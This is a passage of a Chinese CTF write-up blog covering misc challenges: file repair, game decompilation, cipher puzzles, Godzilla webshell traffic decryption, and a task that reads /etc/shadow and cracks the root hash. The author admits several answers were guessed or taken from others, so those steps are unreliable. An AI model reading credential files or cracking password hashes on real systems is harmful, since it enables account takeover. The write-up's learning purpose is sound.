with open('1.txt', 'w',encoding='utf-8') as f:
    f.write(''.join(a))

得到txt文件,一本书

image-20250524161235669

image-20250524161323626

image-20250524161342302

内容里面零零散散放着一些字符,提取:

import re

text = ""

# 匹配英文字符(a-zA-Z)和大括号 { }
matches = re.findall(r'[A-Za-z{}]', text)

# 拼接成字符串
result = ''.join(matches)

print(result)

image-20250524162304639

看题解也是猜出答案的:flag{h1d3_1n_th3_p1ctur3}


[羊城杯 2022]寻宝

十六进制转序;GM8Decompiler反编译游戏;猪圈密码变种;差分曼彻斯特;脑洞大开

题目提示

背景音乐中钢琴的声音对应音高|压缩包密码由三部分组成|每一关地形构成压缩包密码的两部分

没有后缀的文件,放010editor

image-20250524162709753

可以发现被倒叙了,应该是504b0304,脚本转换:

def reverse_hex_digits_per_byte(input_file, output_file):
    with open(input_file, 'rb') as f:
        data = f.read()

    result_bytes = bytearray()

    for byte in data:
        # 把 byte 拆成高低 4 位(4bit),再反转顺序
        high_nibble = byte >> 4         # 取高 4 位
        low_nibble = byte & 0x0F        # 取低 4 位
        reversed_byte = (low_nibble << 4) | high_nibble  # 高低交换
        result_bytes.append(reversed_byte)

    with open(output_file, 'wb') as f:
        f.write(result_bytes)

    print(f"转换完成,输出保存到 {output_file}")


# 示例用法
input_file = '1'      # 输入文件名
output_file = '2.zip'    # 输出文件名
reverse_hex_digits_per_byte(input_file, output_file)

得到压缩包打开:

image-20250524163050322

游戏说明

image-20250524163128457

flag压缩包的密码应该是需要通过游戏获得,开启

试了一下发现正常玩根本玩不了,这里学到了,通过属性来看是什么类型的游戏

image-20250524163929081

这里去YoYoGames的反编译找到了个GameMaker,想起来之前遇到过

先用GM8Decompiler反编译

GM8Decompiler.exe "find_secret.exe" -o "output.gmk"

image-20250524164321294

output.gmk是输出文件,得到gmk文件后,使用工具GameMaker Studio 8工具打开gmk文件

看看地图

image-20250524165350093

image-20250524165359453

image-20250524165406846

看围墙应该是变种猪圈密码

image-20250524165733207

OWOH,这是前面四个,后续的是类似01之类的

image-20250524170540443

image-20250524170550511

这里需要了解差分曼彻斯特:差分曼彻斯特编码到底该怎么看(萌新求教)_差分曼彻斯特编码口诀-CSDN博客

image-20250524171902918

  1. 曼彻斯特码: 从低到高(趋势)表示 1 或者 0;(图中,从高到低表示 1,从低到高表示 0)
  2. 差分曼彻斯特码:在每个时钟周期的起始处(虚线处)有跳变表示 0;无跳变则表示1。或者说遇到 0 的时候,在起始处发生跳变。
10010101101111100010000110010101

(看了半天也没看出来这一串01怎么得到的)

题解的思路:01反转+差分曼彻斯特,脚本:

from Crypto.Util.number import *

a = '10010101101111100010000110010101'

a = a.translate(str.maketrans('01', '10'))
b = '0'
for i in range(1, len(a)):
    if (a[i-1] == a[i]):
        b += '0'
    else:
        b += '1'
print(a)
print(long_to_bytes(int(a, 2)))
print(long_to_bytes(int(b, 2)))

得到字符串:

_a1_

这里题解说:首先把背景音乐导出来,根据提示发现钢琴声,为

do do fa sol do fa

也即114514

然后就是前四关,是变种猪圈密码

这个我也是找了半天也没找到这个,听也没听出来

然后说密码就是

OWOH_a1_114514

打开压缩包发现是一段很长的文字,零宽字符解码

image-20250524172628262


[羊城杯 2023 决赛]easy00aes

文件分离;base64;png宽高;AES解密

jpg文件分离得到压缩包,打开需要密码

看文件名应该是个密钥,需要base64解码

image-20250524173037366

打开压缩包,txt文件:

image-20250524173112329

零宽字符

image-20250524173132290

jpg:

image-20250524173152207

010editor打开

image-20250524173213276

png头,改后缀放随波逐流,图片下面得到

image-20250524173301322

拉伸一下得到

image-20250524173451886

1eu4+X0rAE79+rZQBxhAG7t85wcd20u0VfupQJx1H0Hm6HVnHQoLmWOM9D9i/yo9

密钥:adsadwadsadad

按正常流程应该就是AES解密就得到flag了但是不知道为啥就解不出来,这里放个题解的:

image-20250524174601665


[羊城杯 2023 决赛]hacker

哥斯拉流量;维吉尼亚密码

流量包进行协议分级选中http追踪流

发现后门,典型的哥斯拉流量

image-20250524175548205

后续就是被加密的流量了

image-20250524175707693

解密脚本:

<?php 
//直接使用encode方法
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
 
$key='3c6e0b8a9c15224a';
$key1="";//输入密文
$str=substr($key1,16,-16);//原来的数据去掉前十六位和后十六位
$str=gzdecode(encode(base64_decode($str),$key));
echo $str;
 ?>

在流4的最后一个相应包里面,进行解密

image-20250524181948101

image-20250524181954374

发现压缩包,提取保存压缩包,打开需要密码

这个暂时没找到密码,也没找到讲了这个密码的wp


[NSSRound#12 Basic]奇怪的tex文件

文件格式

文档提示:

image-20250524183730716

image-20250524183738944

然后就是一堆tex文件

image-20250524183809934

放010editor看

image-20250524184316185

发现png头,去掉前面多余的

第一张

image-20250524184420745

第二张:

image-20250524184434167

大概就是每个文件都这样操作然后得到flag

脚本:

import os
import glob

def find_and_remove_hex(input_file, hex_str):
    with open(input_file, 'rb') as f:
        file_content = f.read()
    
    hex_content = file_content.hex()
    start_index = hex_content.find(hex_str)

    if start_index == -1:
        return None
    
    cleaned_hex_content = hex_content[start_index:]
    cleaned_binary_content = bytes.fromhex(cleaned_hex_content)

    return cleaned_binary_content

def main():
    tex_files = glob.glob('*.tex')

    for tex_file in tex_files:
        png_file = os.path.splitext(tex_file)[0] + '.png'
        cleaned_content = find_and_remove_hex(tex_file, '89504e47')

        if cleaned_content is not None:
            with open(png_file, 'wb') as f:
                f.write(cleaned_content)
        else:
            print(f"ERROR")

if __name__ == "__main__":
    main()

image-20250524184549657

NSSCTF{fine!it_1s_ez_f0rU_a_MISCmaster_todo}


[NSSRound#12 Basic]Secrets in Shadow

权限提升

ssh连接

nc node5.anna.nssctf.cn:22941

image-20250524185140647

权限不够需要提权

根据题目去查看shadow文件

image-20250524185751768

把root的信息保存,这里需要退出ssh

image-20250524185817875

爆破得到密码之后再登录root,拿到权限直接查看flag


posted @ 2024-11-09 20:28  Anaxa  阅读(391)  评论(1)    收藏  举报